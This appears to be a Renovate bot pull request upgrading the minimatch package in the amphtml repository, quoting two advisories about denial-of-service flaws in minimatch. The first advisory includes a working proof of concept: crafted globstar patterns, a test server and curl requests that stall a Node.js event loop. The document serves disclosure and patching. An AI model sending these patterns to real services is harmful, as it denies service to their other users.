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📦 Update dependency minimatch to v11 [SECURITY] - #40574

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This PR contains the following updates:

Package Change Age Confidence
minimatch 9.0.7 → 11.0.1 age confidence

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How to resolve breaking changes

This PR may introduce breaking changes that require manual intervention. In such cases, you will need to check out this branch, fix the cause of the breakage, and commit the fix to ensure a green CI build. To check out and update this PR, follow the steps below:

# Check out the PR branch
git checkout -b renovate/npm-minimatch-vulnerability main
git pull https://github.com/ampproject/amphtml.git renovate/npm-minimatch-vulnerability

# Directly make fixes and commit them
amp lint --fix # For lint errors in JS files
amp prettify --fix # For prettier errors in non-JS files
# Edit source code in case of new compiler warnings / errors

# Push the changes to the branch
git push git@github.com:ampproject/amphtml.git renovate/npm-minimatch-vulnerability:renovate/npm-minimatch-vulnerability

minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has potential denial of service via globparts amplification

CVE-2026-118764 / GHSA-g3hv-75wg-m249

More information

Details

minimatch 10.2.6 contains an attacker-controlled pattern amplification in firstPhasePreProcess() when optimizationLevel >= 2.

researcher: Reid Downing (b1nv0id)
files:

  • src/index.ts: 690-770
  • src/index.ts: 780-796

issue:
input-controlled growth of globParts during first-phase preprocessing, followed by quadratic second-phase processing.

the **/../ transformation clones a globparts entry and appends the clone to the same globparts array:

parts.splice(gs, 1)
const other = parts.slice(0)
other[gs] = '**'
globParts.push(other)

this occurs inside a do...while (didSomething) fixpoint loop, allowing generated entries to be processed again.

the expanded globparts array is subsequently processed by secondPhasePreProcess(), which performs pairwise comparisons:

for (let i = 0; i < globParts.length - 1; i++) {
  for (let j = i + 1; j < globParts.length; j++) {
    this.partsMatch(...)
  }
}

an attacker who can supply a glob pattern can therefore cause additional pattern entries to be generated during preprocessing, followed by quadratic pairwise processing, resulting in excessive cpu and memory consumption.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v11.0.1

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v11.0.0

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v10.2.6

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v10.2.5

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v10.2.4

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v10.2.3

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v10.2.2

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v10.2.1

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v10.2.0

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v10.1.3

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v10.1.2

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v10.1.1

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v10.1.0

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v10.0.3

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v10.0.2

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v10.0.1

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v10.0.0

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v9.0.9

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v9.0.8

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@renovate renovate Bot added the WG: infra label Nov 11, 2026
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renovate Bot enabled auto-merge (squash) November 11, 2026 16:52

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